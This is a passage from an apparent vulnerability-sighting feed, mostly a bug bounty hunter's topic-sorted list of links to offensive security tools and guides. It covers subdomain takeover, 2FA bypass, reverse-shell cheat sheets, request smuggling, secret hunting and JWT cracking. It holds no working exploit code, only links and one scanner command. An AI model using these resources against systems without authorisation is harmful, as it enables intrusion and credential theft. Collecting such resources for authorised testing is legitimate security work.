https://vuls.cert.org/confluence/display/CVD/Executive+Summary\n- https://vuls.cert.org/confluence/display/CVD/Sightings\n\n\nhttps://kathan19.gitbook.io/howtohunt/subdomain-takeover/easy_methods\nhttps://opensourcelibs.com/lib/google-acquisitions\n\n\n\nReverse shells\nhttps://github.com/wwkenwong/Pentest-note\n\nhttps://github.com/tehryanx?tab=repositories\nhttps://github.com/sawzeeyy/Sanitiz3r\nhttps://buaq.net/go-249.html\n\n\n\n s\n\n(https://github.com/Findomain/Findomain/releases)\n*   [Configuing Findomain](https://www.youtube.com/watch?v=Wpm2C1LD9ns)\n*   https://github.com/findomain/findomain/blob/master/README.md#subdomains-monitoring\n\n\nhttps://github.com/D35m0nd142/LFISuite\n\nhttps://hub.docker.com/u/secsi\ntips\n\n\n\n\nWig\nhttps://linuxsecurity.expert/tools/wig/\nxxxzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzx\u03a9xxxxxxxxxxx\u2248\u2248\nBlindElephant\nhttps://linuxsecurity.expert/tools/blindelephant/alternatives/\n\n\nhttps://ronak-9889.medium.com/denial-of-service-using-cookie-bombing-55c2d0ef808c\n\nIOT\n                https://www.youtube.com/watch?v=AKoyZLibIeo  ", "creation_timestamp": "2026-07-10T00:21:33.265312Z"}, {"uuid": "4d76600d-7a2a-4d3b-a764-b8c775a4ac40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2021-41773", "type": "seen", "source": "https://gist.github.com/morisono/425a7e299afea766050016d117b270da", "content": "                         \u2554\u2566\u2557\u2566 \u2566  \u2554\u2557 \u252c \u252c\u250c\u2500\u2510  \u2554\u2557 \u250c\u2500\u2510\u252c \u252c\u250c\u2510\u250c\u252c\u2510\u252c \u252c  \u2566\u2550\u2557\u250c\u2500\u2510\u250c\u2500\u2510\u250c\u2500\u2510\u252c \u252c\u252c\u2500\u2510\u250c\u2500\u2510\u250c\u2500\u2510\u250c\u2500\u2510\n                         \u2551\u2551\u2551\u255a\u2566\u255d  \u2560\u2569\u2557\u2502 \u2502\u2502 \u252c  \u2560\u2569\u2557\u2502 \u2502\u2502 \u2502\u2502\u2502\u2502\u2502 \u2514\u252c\u2518  \u2560\u2566\u255d\u251c\u2524 \u2514\u2500\u2510\u2502 \u2502\u2502 \u2502\u251c\u252c\u2518\u2502  \u251c\u2524 \u2514\u2500\u2510\n                         \u2569 \u2569 \u2569   \u255a\u2550\u255d\u2514\u2500\u2518\u2514\u2500\u2518  \u255a\u2550\u255d\u2514\u2500\u2518\u2514\u2500\u2518\u2518\u2514\u2518\u2534  \u2534   \u2569\u255a\u2550\u2514\u2500\u2518\u2514\u2500\u2518\u2514\u2500\u2518\u2514\u2500\u2518\u2534\u2514\u2500\u2514\u2500\u2518\u2514\u2500\u2518\u2514\u2500\u2518\n                                          \n                                           //\n                              ()==========>>======================================--\n                                           \\\\\n\n\n2FA Bypass\n  2fa bypass Mindmap https://www.mindmeister.com/1736437018?t=SEeZOmvt01 \n  2fa Bypass Methods https://workbook.securityboat.in/resources/web-app-pentest/business-logic-vulnerabilities/2fa-bypass\n\nAccount Takeovers\n  https://medium.com/@bathinivijaysimhareddy/tale-of-account-takeovers-part-2-9abf62de4ca3\n  https://kathan19.gitbook.io/howtohunt/subdomain-takeover/easy_methods\n\nAdminPanelFinder\n  \nadminphpfinder\nhttps://linux\nsecurity.expert/tools/admin-page-finder-php/\nAPI Security\n  https://www.cloudflare.com/learning/security/api/owasp-api-security-top-10/\n  Shadowe apis https://www.cloudflare.com/learning/access-management/what-is-shadow-it/\n  \nApi Keys\n  https://github.com/lanmaster53/recon-ng-marketplace/wiki/API-Keys\n\nAPI Hacking \nhttps://github.com/microsoft/restler-fuzzer\nhttps://github.com/hAPI-hacker/Hacking-APIs/fork\n\nAmass\n  https://securityweekly.com/wp-content/uploads/2021/05/AmassTechSegment-0.pdf\n\nAmass Scripting\\\nhttps://github.com/OWASP/Amass/tree/master/resources/scripts\nhttps://github.com/OWASP/Amass/blob/master/doc/scripting.md\namass scripting https://youtu.be/H1wdBgY1rtg?t=4987\n\n  Bug Bounty for Beginners Stream#4:AMASS, Subfinder, FFUF  https://www.youtube.com/watch?v=27zMfcr2fPE\n  https://hackbotone.com/blog/amass-osint-reconnaissance-tool/ \n  https://hakluke.medium.com/haklukes-guide-to-amass-how-to-use-amass-more-effectively-for-bug-bounties-7c37570b83f7\n  https://securityonline.info/amass-subdomain-enumeration/\n  https://github.com/OWASP/Amass/releases\n\nhttps://twitter.com/jeff_foley\n\nhttps://github.com/OWASP/Amass/blob/master/doc/scripting.md\nhttps://github.com/OWASP/Amass\nhttps://gist.github.com/sillydadddy/b1726c8e8ce281d55b82d4e2a1a610e8\nhttps://twitter.com/dokkillo/status/1305566849514471424\nhttps://github.com/PatrikFehrenbach/amass-tools/blob/master/assetfinder.ads\nhttps://github.com/OWASP/Amass#top-mentions\namass enum script command https://youtu.be/H1wdBgY1rtg?t=5408\nExample of api key configuration https://www.hahwul.com/2020/09/23/amass-go-deep-in-the-sea-with-free-apis/#chaos\n[31:33 / 1:56:06]\n[How to Use Amass Efficiently by @jeff_foley #NahamCon2020](https://youtu.be/H1wdBgY1rtg?t=1974)\n[OWASP AMass Boot Camp by Jeff Foley (Caffix)](https://www.youtube.com/watch?v=OOurkCPf2-I) \nAmass Tutorial https://github.com/OWASP/Amass/blob/master/doc/tutorial.md\nhttps://github.com/vortexau/dnsvalidator\nhttps://twitter.com/owaspamass\n\nAndroid\n  https://github.com/dzmitry-savitski/android-pentest-tool\n\nAngularJS\n  https://github.com/snoopysecurity/Public/blob/master/Old%20Presentations/MWRICON%202018/README.md\n  \nAuthentication Bypass Vulnerabilities\n\nAscii \n  https://github.com/heldersepu/hs-scripts/blob/master/ascii.txt\nAsset Monitoring  \n  https://github.com/ruevaughn/assetnote\n  https://github.com/yeswehack/pwn-machine\n  https://github.com/robre/jsmon\n\nAPI Hacking\n  https://github.com/Excloudx6/31-days-of-API-Security-Tips\n  https://gist.github.com/ruevaughn/51048bccdc753596443eca95cbf39356\n  https://apexvicky.medium.com/top-10-api-bugs-where-to-find-them-5dac338b3d73\n  https://attacker-codeninja.github.io/2021-08-28-Hacking-APIs-notes-from-bug-bounty-bootcamp/\n  https://dfir.blog/unfurl/\n  https://www.slideshare.net/programmableweb/why-api-security-is-more-complicated-than-you-think-and-why-its-your-1-priority\n  \nAmazon Cognito\nhttps://docs.aws.amazon.com/cognito-user-identity-pools/latest/APIReference/API_InitiateAuth.html\nhttps://docs.aws.amazon.com/cognito-user-identity-pools/latest/APIReference/CommonParameters.html\n  https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-dg.pdf \n  https://docs.aws.amazon.com/cognito-user-identity-pools/latest/APIReference/API_GetUser.html\n  https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/iam_user_enum/default-word-list.txt\n\nBlockchain\n  https://hash.ai/@b/uniswap\n  https://medium.com/immunefi/hacking-the-blockchain-an-ultimate-guide-4f34b33c6e8b\n  https://github.com/ruby/webrick/blob/master/lib/webrick/httprequest.rb }9\n  https://twitter.com/0xAsm0d3us/status/1438149310080712709 cdC\n\n\nBlogs\n  https://respectxss.blogspot.com/\n\nBrowsers\n  Save multiple pages as a single html page https://github.com/gildas-lormeau/SingleFile\n  https://bughacking.com/best-browsers-for-hackers/\n  https://hackaday.com/2022/01/17/hack-the-web-without-a-browser/\n  https://woob.tech/\n  https://github.com/moonD4rk/HackBrowserData\n  https://resources.infosecinstitute.com/topic/ethical-hacking-top-10-browser-extensions-for-hacking/\n  https://github.com/Excloudx6/browser-compat-data\n  https://httpwg.org/specs/rfc7230.html#header.transfer-encoding\n  https://developer.mozilla.org/en-US/docs/Glossary/Forbidden_header_name\n  https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Length\n  https://stackoverflow.com/questions/978061/http-get-with-request-body?rq=1\n  https://datatracker.ietf.org/doc/html/rfc7230\n  https://groups.yahoo.com/neo/groups/rest-discuss/conversations/messages/9962\n  https://www.ietf.org/rfc/rfc2119.txt\n  https://www.elastic.co/guide/en/elasticsearch/guide/current/_empty_search.html\n  https://www.concise-courses.com/hacking-tools/web-browser-related-tools/\n  \nEthereum Hacking\nhttps://github.com/NafisiAslH/KnowledgeSharing\nhttps://github.com/SecurityInnovation/Smart-Contract-CTF\n https://twitter.com/CyberWarship/sta tus/1533710785914056705\n https://github.com/heldersepu/hs-scripts/blob/master/NodeJS/web3/VestingERC20.js\n \nBroken Access Control - https://cwe.mitre.org/data/definitions/1345.html\nBusines Logic\nhttps://shahmeeramir.com/breaking-the-web-with-logics-ce22e8a9c4e2\nBrowser Extensions - Chrome\n  Collusion - https://chrome.google.com/webstore/search/collusion\n  DotGit - https://chrome.google.com/webstore/detail/dotgit/pampamgoihgcedonnphgehgondkhikel?hl=en\n  Trufflehog https://chrome.google.com/webstore/detail/trufflehog/bafhdnhjnlcdbjcdcnafhdcphhnfnhjc\n  Tracy - https://github.com/nccgroup/tracy/wiki/Example-Workflows\n  \nBrowser Extensions - Firefox\n  Cookie Editor - https://addons.mozilla.org/en-US/firefox/addon/cookie-editor/\n  Bulk URL Opener - https://addons.mozilla.org/en-GB/firefox/addon/bulkurlopener/\n  Hacktoolshttps://addons.mozilla.org/en-US/firefox/addon/hacktools/\n  Tracy https://github.com/nccgroup/tracy/wiki/Example-Workflows\n\nBug Bounty Programs\n  https://blog.bugzero.io/bug-zero-is-going-to-pay-your-security-bill-for-2022-4b6396e2ee48\n  Bulk Load Programs https://gist.github.com/brevityinmotion/b86f7475d4cd2790003326a4d3a528ba\n  Google Acquisitions   https://opensourcelibs.com/lib/google-acquisitions\n  https://github.com/The-Art-of-Hacking/h4cker/tree/master/bug-bounties#bug-bounty-platforms\n  Discovery Header DoD - https://github.com/KingOfBugbounty/Discovery-Header-Bug-Bounty\n  King Recon DoD - https://github.com/KingOfBugbounty/KingRecon_DOD\n  Bentley Bug Bounty Program - https://www.bentley.com/en/products\n  https://lostsoulofawolf.medium.com/bug-bounty-how-to-get-private-invites-60062a5d0809\n  https://github.com/Hack-with-Github\n  Shopify\n    https://www.hulkapps.com/\n  BBP (Bug Bounty Programs!)\n  https://github.com/Excloudx6/KingRecon_DOD\n  https://github.com/bughunterlabs/open-bounty-targets/blob/main/dorks.txt\n  https://jsfiddle.net/ruevaughn/2mnq5vgf/9/\n  https://github.com/detectify/cs-challenge\n  https://github.com/projectdiscovery/public-bugbounty-programs\n  https://app.intigriti.com/programs/redbull/redbull/detailhttps://gist.github.com/ruevaughn/a365c7100f8dce26e550e2e3e239e138\n  https://huntr.dev/\n  https://gist.github.com/ruevaughn/a365c7100f8dce26e550e2e3e239e138\n  https://support.google.com/websearch/answer/2466433?hl=en\n  Dutch Gov - bug bounty scope https://gist.github.com/ruevaughn/f2d1157598a6156c3d51538b3fbd980c\n  https://gist.github.com/haxcited/e684df7f9ec210867d25f7ccac22c1d5\n  https://github.com/B3nac/Android-Reports-and-Resources\n  https://hackerone.com/alipay?type=team\n  https://render.alipay.com/p/c/183ecyeztvuo/dana-pay.html\n  https://github.com/The-Art-of-Hacking/h4cker  \n  Disclosure Assistance w/ Hackerone https://hackerone.com/disclosure-assistance/disclosure_assistance_requests/new?type=team\n  Disclose.io - program List Data](https://raw.githubusercontent.com/disclose/diodb/master/program-list.json)\n  Open Bug Bounty - openbugbounty.com\n\nBurp Collaborator ALternatives\n  https://github.com/anshumanbh/terraform-burp-collaborator\nhttps://honoki.net/2021/07/11/wilson-cloud-respwnder/\n  https://github.com/honoki/wilson-cloud-respwnder\n  Interactsh\n    https://github.com/4ARMED/interactsh\nBlogs\n  https://www.veracode.com/blog?utm_source=lpFooter&utm_medium=Website\n  http://10degres.net/posts/\n  https://www.secureideas.com/blog\n  \nBrute Forcing\n  Brutesubs\n    https://github.com/anshumanbh/brutesubs\n      https://github.com/anshumanbh/brutesubs/compare/master...exploitprotocol:brutesubs:master\n      https://github.com/APTreat/brutesubs\n      https://github.com/janmasarik/brutesubs\n      https://github.com/RyanLongVA/brutesubs\n     \nChaining Vulnerabilites\n   2022-style OAuth account takeover on Facebook - $45,000 bug bounty  https://www.youtube.com/watch?v=pk7oYuz4x0Q\n  \nCertificate Transparancy\nhttps://github.com/anshumanbh/terraform-burp-collaborator#using-a-proper-tls-certificate/\nhttps://www.rfc-editor.org/rfc/rfc5280#section-4.2.1.12\n   Attack Surface Management Series - EP1 - Certificate Transparency (In under 10 mins) - https://www.youtube.com/ watch?v=MGQ1GqmixY0\n\nCanaryTokens\nhttps://canarytokens.org/generate\n\nCerticiates\n  https://github.com/Echocipher/HackeroneSpider\nChecklists\n\nCheatsheet\nhttps://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet\nhttps://github.com/dgtlmoon/changedetection.io\n#### CVE\n\nCode Review\nhttps://www.youtube.com/watch?v=q5NqY2RRLj0\nhttps://www.youtube.com/watch?v=bfLQjZmD5jY&feature=youtu.be\n\nCookie \nCSRF Tokens\n  https://www.veracode.com/security/csrf-token\n  \nCors\n  csors https://chawdamrunal.medium.com/insecure-cors-configuration-808437d7cfd7\n  python cors_scan.py -u example.com -p http://127.0.0.1:8080 # To use socks5 proxy, install PySocks with pip install \n  https://jakearchibald.com/2021/cors/playground/\n  \nCSP https://www.keycdn.com/support/content-security-policy  \nhttps://www.bloggersideas.com/cspisawesome/\nhttps://content-security-policy.com/\n\nCourses \n  https://web.stanford.edu/class/cs253/\n  Nehamsec Udemy Course https://www.udemy.com/course/intro-to-bug-bounty-by-nahamsec/\n  \nCharacter Encodings\nhttps://stat545.com/character-encoding.html\n\nCharles Proxy\n  Use Charles Proxy to Reverse Engiener an IOS App https://www.youtube.com/watch?v=cvvPLlP4518&feature=emb_logo\n\nChecklists \n  https://pentestbook.six2dez.com/others/web-checklist\n  https://github.com/zactly/handouts/blob/master/generic_checks.md\n  https://linuxsecurity.expert/checklists/\n  https://apexvicky.medium.com/bug-bounty-methodology-web-vulnerabilities-checklist-86175dd29987\n  https://github.com/zactly/handouts/blob/master/example_template.md\n  https://github.com/zactly/handouts/blob/master/conferences/locomocosec22/notes.md \n  https://github.com/AnLoMinus/Bug-Bounty/tree/main/Checklist/Web%20App\n  https://github.com/security-checklist/php-security-check-list\n  https://apexvicky.medium.com/bug-bounty-methodology-web-vulnerabilities-checklist-86175dd29987\n\nCheckout \n  https://0day.hu/\n\nCheatsheets\n  https://pentester.land/cheatsheets\n  https://pentester.land/cheatsheets/2019/03/25/compilation-of-recon-workflows.html\n  https://pentester.land/cheatsheets/2019/04/15/recon-resources.html\n  https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html\n  \n  https://securityzines.com/#comics \n  https://github.com/EdOverflow/bugbounty-cheatsheet\n  https://m0chan.github.io/2019/12/17/Bug-Bounty-Cheetsheet.html\n  \nCloud Hacking \n  https://github.com/janmasarik/generate-bucketnames\n  https://github.com/janmasarik/GCPBucketBrute\n  https://github.com/avicoder/notes/tree/master/Cloud\n  https://github.com/avicoder/notes\n  Pwned Cloud Society pdf https://www.slideshare.net/BryceKunz/pwned-cloud-society-bsidesslc-2017?from_action=save\n  Cloud Hacking  https://www.youtube.com/watch?v=ITSZ8743MUk\n  https://www.cloudvulndb.org/\nhttps://github.com/jordanpotti/CloudScraper \nhttps://github.com/appsecco/spaces-finder\n\nCode Review\n  https://raw.githubusercontent.com/zactly/handouts/master/Practical%20Secure%20Code%20Review%20-%20Whitepaper.pdf\n\nCodeql\n\nCookies\n  https://datatracker.ietf.org/doc/html/rfc6265#section-5.3w\n  https://github.com/jshttp/cookie\n\nCryptography\n  http://www.math.sci.hiroshima-u.ac.jp/m-mat/MT/ARTICLES/earticles.html#sfmt\n\nCTFs\nhttps://github.com/SecurityInnovation/Smart-Contract-CTF\n  Stripe ctf https://gist.github.com/evandrix/1901352\n  \nCWE \n  CWE-548: Exposure of Information Through Directory Listing -  https://cwe.mitre.org/data/definitions/548.html\n\n  Default creds \n    https://github.com/Viralmaniar/Passhunt\nDirectory Listing\n  Konan branch ofDeepsearch  https://github.com/rkreddypandu/Konan\n  deepsearch https://github.com/prosecurity/DeepSearch\n  Dirb  https://techyrick.com/dirb/\n  http://www.tecapi.com/public/rvr-view-attack-vector-gui.jsp?antiCsrfToken=null&attackVectorId=254 \n  http://projects.webappsec.org/w/page/13246922/Directory%20Indexing\n\nDjango \n  https://blog.sonarsource.com/disclosing-information-with-a-side-channel-in-django/?utm_source=twitter&utm_medium=social&utm_campaign=djangodictsort&utm_content=security&utm_term=mofu\n  \ndns Rebinding \n  https://bugs.chromium.org/p/project-zero/issues/detail?id=1524\n  https://portswigger.net/research/so-you-want-to-be-a-web-security-researcher#forgottenknowledge\n\nDorks\n  https://github.com/random-robbie/bugbountydork/fork\n  Aline - Dork Automator CLI - https://github.com/ferreiraklet/Aline\n  Brtwitter dork: https://mobile.twitter.com/i/events/1417062625997991936\n  https://www.infosecmatter.com/bug-bounty-tips-1/#5-top-25-open-redirect-dorks\n  Shifa123 BugBounty Dorks https://github.com/shifa123/bugbountyDorks/blob/master/bbdorks\n  Goop https://github.com/s0md3v/goop\n  Go-Dork \n    https://github.com/dwisiswant0/go-dork\n    https://github.com/dwisiswant0/go-dork/compare/master...babaloveyou:go-dork:master\n  https://bxmbn.medium.com/ultimate-tips-and-tricks-to-find-more-cross-site-scripting-vulnerabilities-d2913765e2d5\n  Open Bug Bounty Targets https://github.com/bughunterlabs/open-bounty-targets/blob/main/dorks.txt\n  uDork https://github.com/m3n0sd0n4ld/uDork\n  \nffuf\n  How to Ffuf https://www.bugcrowd.com/blog/how-to-ffuf-with-codingo/\n  How to use ffuf - Hacker Toolbox https://www.youtube.com/watch?v=aN3Nayvd7FU\n  Fuzzing / FFUF -> 5-30-22 Nehamssec stream covered fuzzing A LOT https://www.twitch.tv/videos/1312499916\n  Protips ffuf - tips and tricks https://www.youtube.com/watch?v=uwcRBSUl8e4&t=358s\n  Late to the party, or, in other words massive web enumeration using ffuf. http://0entropy.blogspot.com/2020/05/late-to-party-or-in-other-words-massive.html\n  https://gowthams.gitbook.io/bughunter-handbook/fuzzing-fuff\n  https://0xmahmoudjo0.medium.com/how-i-found-multiple-sql-injection-with-ffuf-and-sqlmap-in-a-few-minutes-9c3bb3780e8f\n \n Fingerprinting\n   Fingerpint JS https://github.com/fingerprintjs/fingerprintjs\n   Whatweb\n   Wappalyze\n   Webanalyze\n   \nFrameworks\n  axiom \n    https://github.com/pry0cc/axiom\n    https://github.com/pry0cc/axiom/blob/master/images/provisioners/default.json\n  BBRF Client - https://github.com/honoki/bbrf-client\n  BugBounty Toolkit - Hackersploit Framework - https://github.com/AlexisAhmed/BugBountyToolkit\n  Findomain https://github.com/Findomain/Findomain\n  Hive https://hexway.io/blog/new-update-hive/\n  Intrigue \n    https://core.intrigue.io/\n    https://core.intrigue.io/getting-started/\n  LazyRecon - https://github.com/nahamsec/lazyrecon\n  Mandiant - Web GUI Take decisive action with industry-leading intelligence  https://www.mandiant.com\n  MooseDojo - apt2 - Pentesters Framework nmap centered \n    apt2 https://buaq.net/go-249.html  \n    apt2 MooseDojo/apt2: automated penetration toolkit   \n\n  Nerve \n    https://github.com/PaytmLabs/nerve\n  Osmedeus \n    https://docs.osmedeus.org/workflow/default-workflow/\n    https://github.com/j3ssie/osmedeus \n    https://xploitlab.com/osmedeus-the-most-complete-reconnaissance-tool-and-vulnerability-scanning/\n    https://docs.osmedeus.org/web-ui/ \n    https://github.com/osmedeus/osmedeus-workflow/blob/main/general/subdomain.yaml \n    https://discord.com/invite/mtQG2FQsYA \n    https://docs.osmedeus.org/installation/practical-usage\n    https://docs.osmedeus.org/workflow/\n  Pwn Machine https://github.com/yeswehack/pwn-machine  \n  \n  ReconFTW - https://github.com/six2dez/reconftw\n  Recon NG\n    https://github.com/anshumanbh/domain\n    https://raw.githubusercontent.com/anshumanbh/domain/master/enumall.py\n    Github https://github.com/lanmaster53/recon-ng \n    Welcome to the Recon-ng Marketplace https://github.com/lanmaster53/recon-ng-marketplace\n    API Key list   https://github.com/lanmaster53/recon-ng-marketplace/wiki/API-Keys\n    Setup script for Regon-ng  and altdns https://github.com/jhaddix/domain\n  Reconness - https://github.com/reconness/reconness\n  Rengine - \n    https://github.com/yogeshojha/rengine\n    https://github.com/yogeshojha/rengine/commit/cf30e98e0440424019cb2cad600892ce405f850e\n    Default Config Engine Yaml file https://raw.githubusercontent.com/yogeshojha/rengine/master/default_yaml_config.yaml\n  Sniper - https://github.com/1N3/Sn1per\n  TIDoS Framework https://github.com/0xInfection/TIDoS-Framework\n  Trickest https://www.youtube.com/watch?v=fXwWinE0sSg\n  Vajra - https://github.com/r3curs1v3-pr0xy/vajra\n  WebhackerWeapons https://github.com/hahwul/WebHackersWeapons\n\nFreq\n  Removes unnecesary output and only outputs happy (for us) path https://github.com/takshal/freq/compare/main...dmonteirosouza:freq:main\n  Fork by Realgoose. Adds a User-Agent bxss as well as robots.txt sprayer check https://github.com/takshal/freq/compare/main...RealGoose:freq:main\n  Removed unnecesary output https://github.com/takshal/freq/compare/main...dmonteirosouza:freq:main\n  Fork by kg11102 KaioGomes. Adds User-Agent firefox and Referrer Header check. Changes alert check. Ignored expired SSL Cert (Probably to skip errors) https://github.com/takshal/freq/compare/main...kg1102:freq:main\n  \n  \nGatsby\nhttps://www.gatsbyjs.com/docs/conceptual/security-in-gatsby/#key-security\nhttps://www.gatsbyjs.com/blog/2019-04-06-security-for-modern-web-frameworks/\n\nGit/Source Code Secret Finding\nhttps://github.com/auth0/repo-supervisor\nhttps://blog.gitleaks.io/finding-secrets-with-regular-expressions-d90493bb3784\n  https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning \n  https://github.com/takshal/Git-Finder \n  https://tillsongalloway.com/finding-sensitive-information-on-github/\n  https://secapps.com/tutorials/github-gist-recon\n  http://10degres.net/github-tools-collection/\n  https:// docs.github.com/en/rest/search\n  git-all-secrets\n    https://github.com/mhmdiaa/git-all-secrets\n    https://github.com/anshumanbh/git-all-secrets\n  https://www.ndss-symposium.org/wp-content/uploads/2019/02/ndss2019_04B-3_Meli_paper.pdf\n  https://github.com/koto/gitpillage\n  https://github.com/hisxo/gitGraber\n  https://github.com/gwen001/github-search\n  https://github.com/darkseed/gitpillage\n  Tools to Get sensitive info / secrets from https://twitter.com/soaj1664ashar/status/1176769454035939328\n  https://github.com/trufflesecurity/trufflehog\n  Why Exposed API Keys and Sensitive Data are Growing Cause for Concern https://www.programmableweb.com/news/why-exposed-api-keys-and-sensitive-data-are-growing-cause-concern/analysis/2015/01/05\n  Secret Hunting - Google Dorks, Git Dorks, Employee OSINT, etc\n  https://gist.github.com/markofu/549fbd287edf08c38e869dacc740e49de\n  https://github.com/aquasecurity/cloudsploit  \n  Trufflehog https://www.youtube.com/watch?v=aioheMi1Wko\n  https://sapt.medium.com/perform-information-gathering-using-following-tools-on-the-given-targets-cyber-sapiens-internship-12c858166008\n  +Github Wiki Auditor https://www.smeegesec.com/2019/03/auditing-github-repo-wikis-for-fun-and.html\n  https://github.com/SmeegeSec/GitHub-Wiki-Auditor \n  https://www.kitploit.com/2022/04/gitbleedtools-for-extracting-data-from.html\n  https://github.com/phlmox/jslinkfinderv2\n  https://exposingtheinvisible.org/guides/google-dorking/ <---- huge dorking guide!\n  https://github.com/phlmox/bingdork\n  \n  Git-Secrets\n   Adds supports for scanning aws, gcp, ads a gf regex pattern,   https://github.com/awslabs/git-secrets/compare/master...deshpandetanmay:git-secrets:master\n  Adds support for scaning entire drive, concept of install.uninstall, a global config file and a regex patterns file (nice!) https://github.com/awslabs/git-secrets/compare/master...dbrs:git-secrets:master\n  He adds one pattern to replace all the previous ones, and it adds a curl request. Other various changes. https://github.com/awslabs/git-secrets/compare/master...konakonall:git-secrets:master\n  \n  \n  https://github.com/toniblyx/my-arsenal-of-aws-security-tools\n  https://techvomit.net/aws-security/\n  https://github.com/gwen001/s3-bucketsdfinder.git\n  https://github.com/janmasarik/bucketsperm\n  https://github.com/phlmox/gdork\n  https://github.com/lc/secretz\n   https://github.com/kevthehermit/PasteHunter\n\ngitdump (TODO Take Notes and Implement from John Hammon Stream)\nhttps://github.com/topics/crawl?o=desc&s=updated\n\nGraphql\n  https://github.com/IvanGoncharov/graphql-voyager\n  https://github.com/Escape-Technologies/graphinder\n  https://github.com/gsmith257-cyber/GraphCrawler\n  Learn Graphql https://www.gatsbyjs.com/docs/conceptual/graphql-concepts/\n  That single GraphQL issue that you keep missing https://blog.doyensec.com/2021/05/20/graphql-csrf.html\n  https://blog.assetnote.io/2021/08/29/exploiting-graphql/\n  https://twitter.com/holybugx/status/1441460070387261440?s=21\n  https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection\n  https://www.programmableweb.com/news/what-graphql-and-how-did-it-evolve-rest-and-other-api-technologies/analysis/2019/07/31\n  https://github.com/KathanP19/HowToHunt/blob/master/GraphQL/GraphQL.md\n  https://swizec.com/blog/reverse-engineer-a-graphql-api-to-automate-love-notes-codewithswiz-24/\n  https://www.youtube.com/watch?v=cvvPLlP4518&feature=emb_logo\n  Graphwoof https://github.com/dolevf/graphw00f\n  Graphql Voyager https://ivangoncharov.github.io/graphql-voyager/\n  inQL graphql Burp Extension for burp [here](https://youtu.be/5qSq1S2sRC8?t=753)\n  \nGithubs \n    https://github.com/bbhunter\n\nHandson / Demos\nhttps://github.com/yandex/securitygym\n  aws test challenge http://flaws.cloud/\n  ABUH! https://darkrebel.net/metarget-framework-providing-automatic-consctions-of-vulnerable-infrastructures | metarget appv install dvwa | metarget install  cve-2021-2312\n  xss jigsaw - https://blog.innerht.ml/page/2/\n  https://google-gruyere.appspot.com/\n  https://hackxor.net/\n  https://github.com/takshal/FOR-FUN\n  Vulnrable Task Manger app https://github.com/redpointsec/vtm\nHacking Tools\n  https://reqbin.com\n  https://gist.github.com/bgoonz/524b4ea887b216b810d16429265a34a3\nHTTP\n  HTTP Pipelining in burp https://youtu.be/boHIjDHGmIo?t=204)\n\nHTTP Parameer Pollution \n  HPP  https://www.youtube.com/watch?v=QVZBl8yxVX0&t=13s\n  \nHTTP Request Smuggling\n\nHTTP Security Headers https://blog.detectify.com/2019/02/05/guide-http-security-headers-for-better-web-browser-security/\nHTTP HEader Smuggling https://github.security.telekom.com/2020/05/smuggling-http-headers-through-reverse-proxies.html\nhttp headers  https://www.ibm.com/docs/en/ibm-mq/7.5?topic=headers-content-type-http-entity-header\n   \nRequest Smuggling\nhttps://github.com/ruevaughn/websocket-connection-smuggler\nhttps://portswigger.net/daily-swig/how-to-perform-an-http-header-smuggling-attack-through-a-reverse-proxy\nhttps://twitter.com/albinowax/status/1263122811683553283\nNote: kitploit guys is the hackbogtone guy\nhttps://www.kitploit.com/2021/08/http-request-smuggling-http-request.html\nhttps://hackbotone.com/blog/http-request-smuggling-detection-tool/\nhttps://www.youtube.com/watch?v=mijOcGLneLU&t=303.658823s\n  Defparam Variant      - https://gist.github.com/defparam/840f7d9e31f77b3c5460c5921e0787ef/revisions\n  bbhunter mutations    - https://gist.github.com/bbhunter\n HTTP Request Smuggling - https://gist.github.com/ruevaughn/9c76260b412446f33b647c970bbb1001)\n\nHTTP Request Smuggling Tools\n  https://github.com/Sh1Yo/request_smuggler\n  \nIDOR\n  https://medium.com/pentesternepal/access-control-worth-2000-everyone-missed-this-idor-access-control-between-two-admins-9745eaf15d21\n  \nISS=\n\niis https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/\n\n\nIos\n  https://medium.com/pentesternepal/access-control-worth-2000-everyone-missed-this-idor-access-control-between-two-admins-9745eaf15d21\n  https://havoc.app/package/crane\n  \n\nInsecure Deserialisation\nInsecure Deserialisation https://www.youtube.com/watch?v=SNi7gNkfLSM\n\nIP (INternet Protocol) https://youtu.be/C7CpfL1p6y0?t=320 \n                        \n\nJavascript\n  \ud83d\udd75\ufe0f Pinkerton is an JavaScript file crawler and secret finder developed in Python  https://github.com/oppsec/Pinkerton\n  Looking through javascript files live hacking https://youtu.be/xx5fF7i-dCQ?t=2582\n  https://www.bugbountyhunter.com/guides/?type=javascript_files\n  JAVASCRIPTRECON.md https://gist.github.com/m4ll0k/31ce0505270e0a022410a50c8b6311ff\n  https://portswigger.net/research/dom-based-angularjs-sandbox-escapes\n  Javascript for hackers https://www.youtube.com/watch?v=FTeE3OrTNoA\n  https://legallybreaking.com/discussion/88/full-featured-javascript-recon-automation-jsfscan-sh\n  https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/  \n  Javascript Enumeration https://www.youtube.com/watch?v=IsSWbVHk11M\n  https://cheatsheetseries.owasp.org/cheatsheets/Third_Party_Javascript_Management_Cheat_Sheet.html\n  unminifier http://dean.edwards.name/my/\n\n\n  https://github.com/robre/scripthunter\n\nJSON Attacks - JSON https://www.youtube.com/watch?v=oUAeWhW5b8c\n\nJWT\n  https://gist.github.com/ruevaughn/328067fadf926ddb788f98cd0d2d1a71 Crack JWT\n  https://medium.com/redteam/stealing-jwts-in-localstorage-via-xss-6048d91378a0\n  Security Weekly Unlocked: https://www.youtube.com/playlist?list=PLlPkFwQHxYE7nQtKNzjnsVyoSOu2K4l9e\n  https://anil-pace.medium.com/json-web-tokens-vs-oauth-2-0-85dd0b32057d\n  https://www.youtube.com/watch?v=muYmiEtPL8U JWT with bbking\n  JWT Traversal https://github.com/MoisesTapia/JwtTransversal\n\nMd5 \n  https://github.com/juuso/BozoCrack\n  \nMeg\n  https://github.com/blackhatethicalhacking/meg/compare/master...tomnomnom:meg:master\n  